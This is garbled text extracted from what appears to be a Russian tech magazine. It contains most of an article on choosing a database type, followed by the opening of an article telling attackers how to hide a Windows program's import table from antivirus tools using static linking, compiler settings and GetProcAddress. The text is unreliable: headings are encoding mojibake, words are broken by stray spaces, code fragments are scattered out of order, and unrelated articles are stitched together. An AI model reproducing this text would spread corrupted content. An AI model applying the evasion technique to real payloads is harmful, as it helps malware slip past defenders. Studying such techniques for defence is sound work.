ные воз можнос ти SQL поз воля ют обра баты вать слож ные зап росы, такие
как поиск сво бод ных номеров или генера ция отче тов о занятос ти и доходе.

Ñèñ òåìà áðî íèðî âàíèÿ è óïðàâëå íèÿ îòå ëÿìè, ïàð êîâêà ìè

è ïîäîá íûì:

 реляци онная база дан ных может быть полез на

для хра нения финан совой информа ции, нап ример тран закций, балан са, сче- 
тов и отче тов. ACID-свой ства реляци онной базы дан ных обес печива ют
надеж ность и сог ласован ность финан совых опе раций.

Ôè íàí ñîâàÿ ñèñ òåìà:

Се год ня сущес тву ет 166 реали заций реляци онных СУБД, 95 из которых
рас простра няют ся на осно ве ком мерчес кой лицен зии, а 71 с откры тым
исходным кодом.

NoSQL
NoSQL БД — это, вооб ще говоря, все осталь ные СУБД — более поз дние аль- 
тер нативы тра дици онным, где могут отсутс тво вать стро го опре делен ные
заранее стол бцы, то есть их количес тво и тип могут варь иро вать ся для раз ных
объ ектов.

ÄÎÊÓÌÅÍÒÎÎÐÈÅÍÒÈÐÎÂÀÍÍÛÅ

 MongoDB, Databricks, Couchbase, CouchDB• Open source:

 MarkLogic, IBM Cloudant• Êîì ìåð÷åñ êèå:

 Amazon DynamoDB, GCP Firestore, Azure Cosmos DB• Îá ëà÷íûå:

В докумен тоориен тирован ной СУБД записи пред став ляют собой струк туры
JSON. Ана логом таб лицы здесь выс тупа ет кол лекция, ана логом записи —
документ.

При мер орга низа ции дан ных в JSON в докумен тоориен тирован ной базе
дан ных

Свя зи ник то не зап рещал, и записи поль зовате лей могут содер жать в себе
дан ные из кол лекции «про дук ты», хотя это и необя затель но. В дан ном слу чае
мы нем ного реор ганизо вали струк туры, и теперь вся информа ция поль- 
зовате ля, его кор зина, его покуп ки хра нят ся в одном мес те в JSON. Такие БД
хорошо мас шта биру ются горизон таль но и спро екти рова ны для хра нения
боль ших объ емов нес трук туриро ван ных дан ных. Они будут пра виль ным
выбором для круп ного про екта. Докумен тные базы дан ных хорошо под ходят
для сле дующих типов про ектов.

 с обширны ми про филя ми поль зовате лей, раз личны- 
ми типами кон тента (текст, изоб ражения, видео) и мно жес твом свя зей меж ду
поль зовате лями. Каж дый про филь поль зовате ля может содер жать раз личные
поля и свя зи, и эти струк туры могут изме нять ся с добав лени ем новых фун кций
и воз можнос тей в соци аль ной сети.

Ñî öèàëü íûå ñåòè

 Плат формы элек трон ной ком мерции обра- 

баты вают мно жес тво раз личных товаров и информа ции о заказах, кли ентах,
скла дах и так далее. Струк тура дан ных может быть слож ной из-за раз нооб- 
разия товар ных катего рий, харак терис тик и вари аций. Кро ме того, тре бова- 
ния могут менять ся в соот ветс твии с изме нени ями ассорти мен та и усло вий
про дажи.

Ýëåê òðîí íàÿ êîì ìåðöèÿ.

 Докумен тоориен тирован ные СУБД

хорошо под ходят для сис тем управле ния кон тентом, где информа ция пред- 
став ляет ся в виде докумен тов, таких как статьи, новос ти, бло ги. Каж дый
документ может содер жать раз личные поля, нап ример заголо вок, текст,
автор, дата пуб ликации. Бла года ря гиб кой струк туре докумен тов докумен- 
тоориен тирован ные СУБД обес печива ют удоб ное хра нение, поиск и извле- 
чение такого типа кон тента.

Ñèñ òåìû óïðàâëå íèÿ êîí òåíòîì.

 докумен тоориен тирован ные СУБД обес печива ют хорошую про изво- 
дитель ность при работе с боль шими объ ема ми дан ных. Они пред лага ют
горизон таль ное мас шта биро вание путем рас пре деле ния дан ных по нес коль- 
ким узлам и под держи вают парал лель ное выпол нение зап росов. Это дела ет
их под ходящи ми для ана лити чес ких при ложе ний, где тре бует ся обра бот ка
боль ших объ емов информа ции или выпол нение слож ных зап росов.

Àíà ëèòè ÷åñ êèå ïðè ëîæå íèÿ è õðà íåíèå áîëü øèõ îáú åìîâ äàí- 

íûõ:

 докумен тоориен тирован ные СУБД

полез ны для мобиль ных при ложе ний и при ложе ний интерне та вещей (IoT), где
дан ные час то быва ют полус трук туриро ван ными и могут менять ся в зависи- 
мос ти от кон тек ста. Такие БД обес печива ют прос тоту хра нения и син хро низа- 
ции дан ных меж ду кли ент ским и сер верным при ложе нием, поз воляя раз- 
рабаты вать гиб кие и адап тивные мобиль ные и IoT-решения. Докумен- 
тоориен тирован ные СУБД обыч но име ют под дер жку офлайн-режима работы,
реп ликацию дан ных и син хро низа цию, что дела ет их прив лекатель ными
для подоб ных при ложе ний.

Ìî áèëü íûå è IoT-ïðè ëîæå íèÿ:

 если к про екту выд вига- 

ются тре бова ния, которые могут менять ся в про цес се раз работ ки и экс плу- 
ата ции, докумен тоориен тирован ная СУБД может быть полез ной. Гиб кость
схе мы дан ных поз воля ет быс тро вно сить изме нения и адап тировать ся
к новым тре бова ниям без необ ходимос ти перес тра ивать сущес тву ющую
струк туру базы.

Ïðî åêòû ñ èçìåí÷è âûìè òðå áîâà íèÿìè:

Продолжение статьи →
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НЕ КРИНЖ, А БАЗА
ВЫБИРАЕМ БАЗУ ДАННЫХ 

ДЛЯ СВОЕГО ПРОЕКТА

КОДИНГ  НАЧАЛО СТАТЬИ←

ÃÐÀÔÎÂÛÅ ÁÄ

 Neo4j, NebulaGraph, JanusGraph, Giraph• Open source:

 Memgraph, GraphDB, TigerGraph, Stardog• Êîì ìåð÷åñ êèå:

 Amazon Neptune, Azure Cosmos DB• Îá ëà÷íûå:

Гра фовые базы дан ных подой дут для про ектов, в которых имен но свя зи меж- 
ду объ екта ми игра ют клю чевую роль. Узлы в них исполь зуют ся для хра нения
сущ ностей дан ных, реб ра — для хра нения вза имос вязей меж ду сущ ностя ми.
Реб ро всег да име ет началь ный узел, конеч ный узел, тип и нап равле ние. Реб- 
ра могут опи сывать вза имос вязи типа «родитель — потомок», дей ствия, пра- 
ва вла дения и так далее. Огра ниче ния на количес тво и тип вза имос вязей,
которые может иметь узел, отсутс тву ют.

При мер орга низа ции дан ных в гра фовой базе дан ных

Вот вари анты про ектов, в которых сто ит рас смот реть воз можность исполь- 
зования гра фовых баз дан ных.

 гра фовые базы дан ных иде аль но под ходят

для модели рова ния соци аль ных сетей. Они поз воля ют хра нить информа цию
о поль зовате лях, их про филях, друзь ях, под писках, ком мента риях и дру гих
вза имо дей стви ях. Гра фовая струк тура дан ных дает воз можность эффектив но
находить свя зи меж ду поль зовате лями, ана лизи ровать сетевую струк туру
и пред лагать рекомен дации на осно ве свя зей.

Ñî öèàëü íûå ñåòè:

 гра фовые базы дан ных мож но исполь- 

зовать для пос тро ения рекомен датель ных сис тем, осно ван ных на ана лизе
свя зей меж ду эле мен тами. Нап ример, в сис теме рекомен даций для филь мов
гра фовая база дан ных поз воля ет хра нить информа цию о поль зовате лях,
филь мах, оцен ках, жан рах и дру гих свя зях. Затем, исполь зуя алго рит мы обхо- 
да гра фа, мож но най ти схо жие филь мы и пред почте ния дру гих поль зовате лей
и делать рекомен дации на осно ве их вза имо дей ствий.

Ðå êîìåí äàòåëü íûå ñèñ òåìû:

 гра фовые базы дан ных поз воля ют про водить

глу бокий ана лиз свя зей и сетей в раз личных областях, таких как биоло гия,
гене ало гия, тран спорт, веб-гра фы. Гра фовая струк тура дает воз можность
иссле довать свя зи меж ду эле мен тами, находить наибо лее зна чимые узлы
и пути, а так же при менять раз личные алго рит мы для ана лиза сетевых струк- 
тур.

Àíà ëèç ñâÿ çåé è ñåòåé:

 гра фовые базы исполь зуют ся

для модели рова ния мар шру тов и опти миза ции логис тичес ких сетей. Нап- 
ример, при про екти рова нии сис темы дос тавки или опти миза ции мар шру тов
гру зови ков гра фовая база дан ных может хра нить информа цию о мес тополо-
жени ях, дорогах, рас сто яниях, пре пятс тви ях и дру гих свя зях меж ду сущ ностя- 
ми.

Ìàð øðó òèçà öèÿ è ëîãèñ òèêà:

 обра бот ка естес твен ного язы ка

(Natural Language Processing, NLP) — еще одна сфе ра при мене ния таких БД.
Гра фовая струк тура поз воля ет модели ровать свя зи меж ду сло вами, фра- 
зами, син такси чес кими зависи мос тями и семан тичес кими отно шени ями.
Это исполь зует ся для пос тро ения поис ковых сис тем, ана лиза тек стов, авто- 
мати чес кого извле чения информа ции и дру гих задач NLP.

Îá ðàáîò êà åñòåñ òâåí íîãî ÿçû êà:

 в этом слу чае тех- 

нология исполь зует ся для пос тро ения сис тем рекомен даций и пер сонали- 
зации, осно ван ных на ана лизе свя зей меж ду товара ми, инте реса ми поль- 
зовате лей, покуп ками и дру гими фак торами. Гра фовая струк тура дан ных поз- 
воля ет искать сходс тво меж ду товара ми или поль зовате лями, выяв лять скры- 
тые свя зи и пред лагать релеван тные рекомен дации.

Ðå êîìåí äàöèè òîâàðîâ è ïåð ñîíàëè çàöèÿ:

 гра фовые БД

мож но исполь зовать для ана лиза соци аль ных сетей, свя зей меж ду субъ екта- 
ми или тран закци ями, обна руже ния ано малий и мошен ничес тва. Струк тура
баз поз воля ет модели ровать слож ные свя зи и вза имо дей ствия в сети, выяв- 
лять подоз ритель ные пат терны и ано малии, а так же стро ить гра фовые алго- 
рит мы для их обна руже ния.

Ñå òåâîé àíà ëèç è îáíà ðóæå íèå ìîøåí íè÷åñ òâà:

ÊËÞ× — ÇÍÀ×ÅÍÈÅ

 Redis, Memcached, etcd, Ehcache, Riak, Oracle Berkeley• Open source:

 GemFire, Oracle Coherence• Êîì ìåð÷åñ êèå:

 Redis, Amazon SimpleDB, GCP Cloud Bigtable, Azure Cosmos
DB

• Îá ëà÷íûå:

Ба зы дан ных типа «ключ — зна чение» хра нят информа цию в фор ме набора
уни каль ных клю чей и соот ветс тву ющих им зна чений. Пос коль ку дос туп к зна- 
чени ям осу щест вля ется всег да быс тро и не зависит от количес тва эле мен тов,
такие БД при меня ются в сле дующих про ектах.

 базы дан ных
«ключ — зна чение» иде аль но под ходят для кеширо вания дан ных в опе ратив- 
ной памяти или быс тро го дос тупа к вре мен ным дан ным. Нап ример, веб-при- 
ложе ния могут исполь зовать базы дан ных ключ — зна чение для кеширо вания
резуль татов зап росов, пре дот вра щая пов торное выпол нение слож ных опе- 
раций и улуч шая про изво дитель ность.

Êå øèðî âàíèå è õðà íåíèå âðå ìåí íûõ äàí íûõ:

 для хра нения информа ции о сеан сах поль- 

зовате лей в веб-при ложе ниях. Они могут исполь зовать ся в целях хра нения
дан ных авто риза ции, пред почте ний поль зовате ля и дру гой кон текс тной
информа ции, свя зан ной с текущей сес сией.

Ñåñ ñèîí íîå õðà íåíèå:

 для хра нения информа ции о поль- 
зовате лях, такой как иден тифика торы, имя, адрес элек трон ной поч ты и дру гие
свя зан ные дан ные. Обес печива ют быс трый дос туп к дан ным поль зовате ля,
поз воляя эффектив но управлять учет ными запися ми и аутен тифика цией.

Ó÷åò íàÿ çàïèñü ïîëü çîâàòå ëÿ:

 для хра нения метадан ных

и кон фигура цион ных парамет ров при ложе ний. Нап ример, такие базы могут
исполь зовать ся для хра нения информа ции о нас трой ках при ложе ния,
парамет рах под клю чения к базе дан ных или дру гих парамет ров, которые
могут быть лег ко дос тупны и изме нены во вре мя работы при ложе ния.

Õðà íèëè ùå ìåòàäàí íûõ è êîí ôèãóðà öèè:

 в рас пре делен ных сис темах, где тре бует ся
обес печить быс трый дос туп к дан ным и эффектив ное мас шта биро вание.
Такие СУБД могут исполь зовать ся для рас пре делен ного кеширо вания, син- 
хро низа ции сос тояния и обме на информа цией меж ду узла ми сис темы.

Ðàñ ïðå äåëåí íûå ñèñ òåìû:

 для хра нения дан ных, соб ранных от устрой ств
интерне та вещей. Они обес печива ют быс трый дос туп к дан ным, хра нение
и извле чение информа ции о сос тоянии устрой ств и событи ях, свя зан ных
с IoT-инфраструк турой.

Èí òåðíåò âåùåé:

Êîëîíî÷íûå
 HBase, Cassandra, ClickHouse, SWC-DB• Open source:

 DataStax Enterprise• Êîì ìåð÷åñ êèå:

 Google Bigtable, Amazon Redshift, Azure Table Storage, Alibaba
Cloud Table Store

• Îá ëà÷íûå:

В колоноч ных СУБД, как и в реляци онных БД, дан ные пред став лены в таб- 
лицах, но сгруп пирова ны они не по стро кам, а по стол бцам. То есть все дан- 
ные, отно сящи еся к какой-либо одной колон ке, хра нят ся в памяти под ряд,
а не в раз ных мес тах, что сущес твен но уско ряет про цес сы агре гации и поз- 
воля ет получать ана лити ку в режиме реаль ного вре мени. Таким обра зом,
колоноч ные базы дан ных луч ше все го под ходят для сле дующих типов про- 
ектов.

 эти СУБД
отлично под ходят для ана лити чес ких задач, где тре бует ся обра бот ка и ана лиз
боль ших объ емов информа ции. Они поз воля ют эффектив но сжи мать и хра- 
нить дан ные, а так же выпол нять зап росы, свя зан ные с агре гаци ей, филь тра- 
цией и ана лити чес кими опе раци ями над стол бца ми.

Àíà ëèòè êà è îáðà áîò êà áîëü øèõ îáú åìîâ äàí íûõ:

 колоноч ные СУБД мож но исполь- 

зовать для пос тро ения сис тем биз нес-интеллек та и отчетнос ти. Они поз воля- 
ют быс тро ана лизи ровать и агре гиро вать дан ные, делать свод ные таб лицы,
стро ить гра фики и пре дос тавлять отче ты с высокой про изво дитель ностью.

Áèç íåñ�èíòåëëåêò è îò÷åòíîñòü:

 для хра нения и ана лиза вре мен ных

рядов, таких как дан ные о событи ях, изме рени ях, логах. База обес печива ет
эффектив ное сжа тие дан ных и быс трый дос туп к отдель ным стол бцам вре- 
мен ных рядов для выпол нения ана лити чес ких опе раций.

Õðà íåíèå âðå ìåí íûõ ðÿäîâ:

 для архи виро- 
вания и дол госроч ного хра нения дан ных, осо бен но если они име ют боль шой
объ ем и тре буют эффектив ного сжа тия. Базы поз воля ют сох ранять дан ные
в ком пак тной фор ме и эффектив но извле кать их при необ ходимос ти.

Àð õèâèðî âàíèå è äîë ãîñðî÷ íîå õðà íåíèå äàí íûõ:

ÎÁÚÅÊÒÍÎ ÎÐÈÅÍÒÈÐÎÂÀÍÍÛÅ

 db4o, ObjectBox, Perst• Open source:

 ObjectStore, Actian NoSQL Database, Matisse, ObjectDB• Êîì ìåð÷åñ êèå:

 нет• Îá ëà÷íûå:

Объ ектно ори енти рован ные СУБД пред став ляют собой базы дан ных, которые
осно ваны на кон цепции объ ектно ори енти рован ного прог рамми рова ния
(ООП). Они дают воз можность хра нить объ екты нап рямую, без необ ходимос- 
ти пре обра зова ния их в реляци онные струк туры, и обра баты вать объ екты,
сох раняя их внут реннюю архи тек туру и свя зи меж ду ними. Зап росы к БД осу- 
щест вля ются на язы ке зап росов объ ектной модели (Object Query Language,
OQL), который подобен SQL, но пред назна чен для работы с объ екта ми и их
свя зями.

Объ ектно ори енти рован ные СУБД час то при меня ются в сле дующих типах
про ектов.

 OODBMS

хорошо под ходят для про ектов, где дан ные име ют слож ные объ ектные струк- 
туры и свя зи меж ду ними. Нап ример, про екты в области гра фичес кого
модели рова ния, компь ютер ной ани мации, компь ютер ной визу али зации.

Ïðî åêòû ñî ñëîæ íûìè îáú åêòíû ìè ñòðóê òóðàìè:

 если про ект тре бует час тых
изме нений в струк туре дан ных, таких как добав ление новых атри бутов
или свя зей меж ду объ екта ми, объ ектно ори енти рован ные СУБД могут быть
пред почти тель ными. Они поз воля ют лег ко вно сить изме нения в объ ектную
модель без необ ходимос ти перес тра ивать схе му базы дан ных.

Ïðî åêòû ñ èçìåí÷è âîé ñõå ìîé äàí íûõ:

 если про ект

тре бует сох ранения слож ных свя зей меж ду объ екта ми и под дер жки опе раций
навига ции по свя зям, объ ектно ори енти рован ные СУБД облегча ют такие опе- 
рации. Про екты в области соци аль ных сетей, рекомен датель ных сис тем,
управле ния содер жимым (Content Management Systems) и CRM-сис тем
(Customer Relationship Management) могут вос поль зовать ся пре иму щес тва ми
объ ектно ори енти рован ных СУБД.

Ïðî åêòû ñ âûñîêîé ñòå ïåíüþ ñâÿç íîñòè îáú åêòîâ:

 исполь- 

зование нас ледова ния и полимор физма, харак терных для объ ектно ори енти- 
рован ного прог рамми рова ния, может быть осо бен но полез ным в про ектах,
где тре бует ся мак сималь ное пов торное поль зование кода и соз дание гиб ких,
рас ширя емых при ложе ний.

Ïðî åêòû ñ âûñîêîé ñòå ïåíüþ ïåðå èñïîëü çîâàíèÿ êîäà:

 объ- 

ектно ори енти рован ные СУБД обес печива ют эффектив ные механиз мы поис- 
ка и дос тупа к объ ектам, осо бен но ког да тре бует ся обра бот ка слож ных зап- 
росов с исполь зовани ем свя зей меж ду объ екта ми. Такие про екты могут вклю- 
чать сис темы управле ния содер жимым, элек трон ную ком мерцию и сис темы
ана лити ки дан ных.

Ïðî åêòû ñ âûñîêîé ïðî èçâî äèòåëü íîñòüþ ÷òå íèÿ è ïîèñ êà:

ÌÍÎÃÎÇÍÀ×ÍÛÅ

 SciDB, Rasdaman, OpenQM• Open source:

 Adabas, UniData, UniVerse, jBASE• Êîì ìåð÷åñ êèå:

 нет• Îá ëà÷íûå:

Мно гоз начные базы дан ных (MVDBMS) — это тип баз дан ных, спе циаль но
раз работан ный для хра нения и обра бот ки мно жес твен ных зна чений (multi-
value). В отли чие от реляци онных баз дан ных, которые хра нят дан ные в виде
таб лиц с фик сирован ным набором стол бцов, MVDBMS поз воля ют хра нить
перемен ное количес тво зна чений в каж дой записи. При меры про ектов,
для которых исполь зование multi-value баз дан ных может быть целесо- 
образным, при веде ны ниже.

MVDBMS поз воля ют эффектив но хра нить информа цию о про дук тах и их свой- 
ствах, которые могут иметь нес коль ко зна чений, такие как раз меры, цве та,
мас са.

Ñèñ òåìû óïðàâëå íèÿ èíâåíòà ðåì è ñêëàä ñêè ìè çàïàñà ìè:

в медицин ской сфе ре час то воз ника ют ситу ации, ког да паци ент име ет мно- 
жес тво диаг нозов, ему наз начено нес коль ко лекарс твен ных пре пара тов
и име ется некото рое количес тво резуль татов ана лизов. MVDBMS поз воля ют
эффектив но хра нить и обра баты вать такие дан ные.

Ñèñ òåìû ó÷å òà ïàöè åíòîâ â ìåäèöèí ñêèõ ó÷ðåæäå íèÿõ:

 в про ектах, свя зан ных

с обра бот кой заказов и дос тавкой товаров или услуг, могут исполь зовать ся
нес коль ко зна чений, свя зан ных с каж дым заказом, нап ример спи сок товаров,
адре са дос тавки и ста тус заказа.

Ñèñ òåìû óïðàâëå íèÿ çàêàçà ìè è äîñ òàâêîé:

 в CRM-сис темах и сис- 

темах уче та кли ентов час то воз ника ет необ ходимость хра нить раз личные кон- 
так тные дан ные, исто рию вза имо дей ствия с кли ентом, инте ресы, пред почте- 
ния и дру гие атри буты, которые могут иметь мно жес твен ные зна чения.

Ñèñ òåìû ó÷å òà êëè åíòîâ è CRM-ñèñ òåìû:

 в сис темах управле ния кон тентом,
где необ ходимо хра нить кон тент раз личных типов, таких как текст, изоб- 
ражения, видео или ауди офай лы, и управлять им, multi-value базы дан ных поз- 
воля ют эффектив но хра нить и свя зывать такие эле мен ты.

Ñèñ òåìû óïðàâëå íèÿ êîí òåíòîì:

 в про ектах, свя зан ных с уче- 
том финан совых опе раций, час то необ ходимо хра нить нес коль ко зна чений,
свя зан ных с каж дой тран закци ей, таких как сче та, сум мы, даты и катего рии.

Ñèñ òåìû ó÷å òà ôèíàí ñîâûõ îïå ðàöèé:

XML

 BaseX, Sedna, eXist-db• Open source:

 search-xml• Êîì ìåð÷åñ êèå:

 нет• Îá ëà÷íûå:

XML СУБД — это базы дан ных, спе циаль но раз работан ные для хра нения
и обра бот ки информа ции в фор мате XML (eXtensible Markup Language). XML
пред став ляет собой уни вер саль ный фор мат для струк туриро вания и пред- 
став ления дан ных, который широко исполь зует ся для обме на информа цией
меж ду раз личны ми сис темами и при ложе ниями. XML дает воз можность опре- 
делять собс твен ные теги и струк туры внут ри докумен тов, бла года ря это му
мож но адап тировать схе му дан ных под тре бова ния про екта без необ- 
ходимос ти изме нения базовой струк туры базы.

Ис поль зование XML СУБД целесо образно там, где тре бует ся гиб кое хра- 
нение, обра бот ка и интегра ция дан ных в фор мате XML, нап ример в сле- 
дующих слу чаях.

 в про ектах элек трон ной ком мерции, где тре- 

бует ся хра нить и обра баты вать информа цию о товарах, катего риях, харак- 
терис тиках, ценах и дру гих свя зан ных дан ных, XML СУБД могут облегчить
управле ние такими дан ными.

Ýëåê òðîí íàÿ êîì ìåðöèÿ:

 XML СУБД могут исполь зовать ся в про ектах, свя- 
зан ных с интегра цией дан ных из раз личных источни ков или сис тем. Фор мат
XML удо бен для пред став ления дан ных из раз ных источни ков, пос коль ку поз- 
воля ет струк туриро вать информа цию и пре дос тавля ет средс тва для обме на
дан ными меж ду раз ными сис темами.

Èí òåãðà öèÿ äàí íûõ:

 в сис темах управле ния сай тами (CMS), пор- 

талах и сис темах элек трон ного докумен тообо рота XML СУБД поз воля ют хра- 
нить и орга низо вывать раз личные типы кон тента, такие как статьи, новос ти,
докумен ты, меди афай лы.

Óï ðàâëå íèå êîí òåíòîì:

 XML СУБД могут исполь зовать ся в про ектах, свя- 
зан ных с пуб ликаци ей дан ных, таких как онлайн-катало ги, спра воч ники, базы
зна ний и энцикло педии. Фор мат XML облегча ет пред став ление и струк- 
туриро вание информа ции для удоб ного поис ка, навига ции и ана лиза.

Ïóá ëèêàöèÿ äàí íûõ:

 такие СУБД час то при- 
меня ются в про ектах, где тре бует ся обес печить обмен дан ными меж ду раз- 
личны ми при ложе ниями и сис темами. XML может исполь зовать ся для обме на
информа цией в фор мате API (Application Programming Interface)
или веб-служб.

Îá ìåí äàí íûìè è èíòåãðà öèÿ ïðè ëîæå íèé:

 в про ектах, свя зан ных с управле- 

нием докумен тами и элек трон ными архи вами, XML СУБД могут исполь зовать- 
ся для хра нения и обра бот ки докумен тов, метадан ных, вер сиони рова ния
и управле ния дос тупом.

Ñèñ òåìû óïðàâëå íèÿ äîêóìåí òàìè:

ÁÄ ÑÏÅÖÈÀËÜÍÎÃÎ ÍÀÇÍÀ×ÅÍÈß

С базами дан ных «спе циаль ного наз начения» про ще — у них спой лер в наз- 
вании. Оста новить ся чуть под робнее хотелось бы толь ко на прос транс твен- 
ных СУБД.

 базы дан ных (Spatial databases) — это тип баз дан- 
ных, спе циаль но раз работан ных для хра нения и обра бот ки геог рафичес кой
информа ции и управле ния ею. Вклю чая геомет ричес кие дан ные, такие
как точ ки, линии, полиго ны, а так же геог рафичес кие объ екты и прос транс- 
твен ные отно шения меж ду ними. Прос транс твен ные базы дан ных обыч но
исполь зуют ся в геог рафичес ких информа цион ных сис темах (ГИС) и свя зан- 
ных областях.

Ïðîñ òðàíñ òâåí íûå

 (Vector databases) — бла года ря раз витию

машин ного обу чения из под типа прос транс твен ных баз дан ных вырос ли
в отдель ную катего рию век торные базы, спе циали зиру ющиеся на хра нении
век торных дан ных и опе раци ях с ними. Такие базы дан ных обес печива ют
струк туру для их хра нения и эффектив ного управле ния ими, а так же под- 
держи вают прос транс твен ные зап росы и опе рации для ана лиза и извле чения
информа ции. В машин ном обу чении широко при меня ется кон цепция
эмбеддин гов, идея которой зак люча ется в том, что бы пред ста вить объ екты
(нап ример, сло ва, изоб ражения или любые объ екты высокой раз мернос ти)
в прос транс тве с более низ кой раз мерностью, где семан тичес ки близ кие
объ екты находят ся близ ко друг к дру гу. Такое пред став ление дан ных поз воля- 
ет извле кать смыс ловые свой ства и отно шения меж ду объ екта ми и исполь- 
зовать их в раз личных задачах ана лиза дан ных и машин ного обу чения. А век- 
торная БД, соот ветс твен но, поз воля ет делать это еще и быс тро.

Âåê òîðíûå áàçû äàí íûõ

В машин ном обу чении же, в свою оче редь, помимо СУБД, при меня ются
такие фор маты хра нилищ, как data lake, data warehouse и feature store.

 — это репози торий, который хра нит абсо лют но любую

информа цию: и струк туриро ван ную, и нес трук туриро ван ную, в фор мате CSV
или JSON. От изоб ражений до докумен тов. Дан ные хра нят ся в исходном,
сыром фор мате, без пре обра зова ния. Таким обра зом, data lake — это уни- 
вер саль ное хра нили ще для любых типов дан ных. При меры: Amazon S3, Azure
Blobs Storage, Google Cloud Storage.

Data lake

 — это «при чесан ный» data lake, то есть здесь дан ные
уже хра нят ся в струк туриро ван ном, отсорти рован ном и пре обра зован ном
виде. Как пра вило, в таком хра нили ще содер жится информа ция из раз ных
баз дан ных, готовая к ана лизу инс тру мен тами Business Intelligence. При меры:
Amazon Athena, Amazon Redshift, Google BigQuery, Azure Synapse Analytics.

Data warehouse

 — решение, опти мизи рован ное для задач машин ного обу- 

чения. По сути, это хра нили ще объ еди няет и дан ные, соб ранные и обра- 
ботан ные для обу чения раз личных моделей, и конс трук тор датасе тов для каж- 
дой модели в отдель нос ти, и их метадан ные. При меры: on-premise — Feast,
Tecton, Kaskada; облачные — Amazon SageMaker Feature Store, GCP Vertex AI
Feature Store, Azure Databricks Feature store.

Feature store

ÂÛÂÎÄÛ

Го ворят, что боль шие дан ные — это новая нефть. Все эффектив ные и судь- 
бонос ные решения при нима ются ком пани ями на осно ве соб ранной
информа ции, без дан ных — мы сле пы. В то вре мя как в малых дан ных сос- 
редото чена бук валь но вся наша жизнь — адрес, работа, счет в бан ке. Поэто- 
му от спо соба хра нения подоб ной информа ции зависит то, нас коль ко
эффектив но ком пания смо жет ее обра баты вать и исполь зовать.

Важ но напом нить, что выбор СУБД зависит от мно жес тва фак торов, вклю- 
чая тре бова ния про екта, тип дан ных, ожи даемую про изво дитель ность, мас- 
шта биру емость и опыт коман ды раз работ чиков. Решение о выборе СУБД
дол жно быть осно вано на ана лизе спе цифи чес ких пот ребнос тей про екта
и срав нении с дру гими типами баз дан ных.
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КОДИНГ

Зор кий глаз анти виру са так и норовит
обна ружить наши пей лоады! Давай покажу,
как скрыть все импорты, что бы спря тать ся
от назой ливого вни мания анти вирус ных
прог рамм. Мы поп робу ем мимик рировать
под легитим ное при ложе ние с помощью IAT
Camouage.

Все написан ные под Windows прог раммы име ют IAT (Import Address Table) —
это таб лица, которая содер жит фун кции, импорти руемые прог раммой из DLL-
биб лиотек. Зачас тую нам, как ата кующим, сле дует скры вать импорты, что бы
анти вирус ным при ложе ниям было слож нее иден тифици ровать исполь зуемые
в прог рамме фун кции. В этой статье разоб раны некото рые спо собы скры тия
таб лицы импортов.

ÏÐÎÑÒÅÉØÅÅ ÑÊÐÛÒÈÅ

Итак, пусть у нас есть прос тень кая прог рамма, которая, нап ример, выводит
MessageBox.

#include <Windows.h>

  int main() {
      MessageBox(NULL, L"HI", L"HI", MB_OK);
    return 0;
}

Прог рамма с MessageBox

Ес ли мы пос мотрим на то, что лежит у нее в IAT, то будем неп рият но удив лены.
Здесь и CRT, и какие-то левые фун кции, которые мы даже не вызыва ем.

dumpbin /imports .\Article.exe 

Ог ромный IAT

Пред лагаю сра зу же изба вить ся от CRT. Common Language Runtime — набор
фун кций и мак росов для прог рамм на С. Фун кции обыч но свя заны с управле- 
нием памятью ( ), откры тием и зак рыти ем фай лов ( )

и работой со стро ками ( ).

memcpy() fopen()
strcpy()

Биб лиоте ки DLL, которые реали зуют CRT, называ ются ,
где  — номер вер сии исполь зуемой биб лиоте ки CRT. Это пра вило при- 

меня ется не ко всем биб лиоте кам CRT, встре чают ся так же DLL c име нами
, 

и . Каж дая DLL слу жит для опре делен- 

ной цели и экспор тиру ет нес коль ко фун кций. Эти биб лиоте ки DLL ком пону- 
ются ком пилято ром во вре мя ком пиляции и поэто му находят ся в IAT сге нери- 
рован ных прог рамм.

vcruntimeXXX.dll
XXX

api-ms-win-crt-stdio-l1-1-0.dll api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll

Что бы зас тавить ком пилятор сде лать ста тичес кую лин ковку (в этом слу чае
биб лиоте ка не импорти рует ся, а уже как бы зашита в прог рамму), сле дует
изме нить свой ства про екта. Сна чала откры ваем раз дел в «Про ект → Свой- 
ства».

От туда перехо дим в «C/C++ → Соз дание кода → Биб лиоте ка вре мени выпол- 
нения → Мно гопо точ ная (/MT) → При менить → ОК».

Нас трой ки про екта

За тем переком пилиру ем про ект и про веря ем IAT.

IAT без CRT

От лично, от CRT в IAT мы изба вились. Теперь приш ло вре мя погово рить
о скры тии импорта фун кции . Сама фун кция пред став лена

в биб лиоте ке , поэто му мы можем исполь зовать API

 для получе ния адре са этой фун кции и ее вызова.

MessageBoxW()
user32.dll

GetProcAddress()

 FARPROC GetProcAddress(
   [in] HMODULE hModule,
    [in] LPCSTR lpProcName
);

Здесь  — хендл на DLL, в которой реали зова на фун кция,

а  — имя этой фун кции. Для успешно го вызова 
нуж но лишь соз дать про тотип фун кции в нашем коде.

hModule
lpProcName MessageBoxW()

#include <Windows.h>

   typedef int (WINAPI* MessageBoxWFunc)(
       HWND hWnd,
    LPCWSTR lpText,
    LPCWSTR lpCaption,
       UINT uType
   );

  int main() {
      HMODULE user32Module = LoadLibrary(L"user32.dll");
      

 
MessageBoxWFunc MessageBoxWPtr = (MessageBoxWFunc)(GetProcAddress

(user32Module, "MessageBoxW"));
      MessageBoxWPtr(NULL, L"HI", L"HI", MB_OK);
    return 0;
}

Ком пилиру ем, про веря ем IAT и видим, что фун кция про пала.

Про пав шая MessageBox

Ка залось бы, неп лохо? Всем спа сибо, конец статьи.
Но не тут-то было. Давай нас тро им ком пилятор так, что бы он импорти- 

ровал не все фун кции из , а лишь нуж ные, то есть те, которые

в явном виде при сутс тву ют в коде. Для это го сна чала отклю чаем SDL.

kernel32.dll

За тем отклю чаем опти миза цию прог раммы.

От клю чаем исклю чения C++, дела ем ста тичес кую лин ковку, отклю чаем про- 
вер ку безопас ности.

Вклю чаем игно риро вание стан дар тных биб лиотек.

От клю чаем файл манифес та, уби раем соз дание дебаг-информа ции.

За тем уста нав лива ем точ ку вхо да.

Пе реком пилиру ем про ект, про веря ем IAT и видим, что любой жела ющий смо- 
жет опре делить исполь зование  и  в нашем

коде.

LoadLibrary() GetProcAddress()

От этих фун кций никак не изба вить ся (через  тем более

не выз вать — рекур сия), поэто му при дет ся при думать какую-то аль тер нативу.

GetProcAddress()

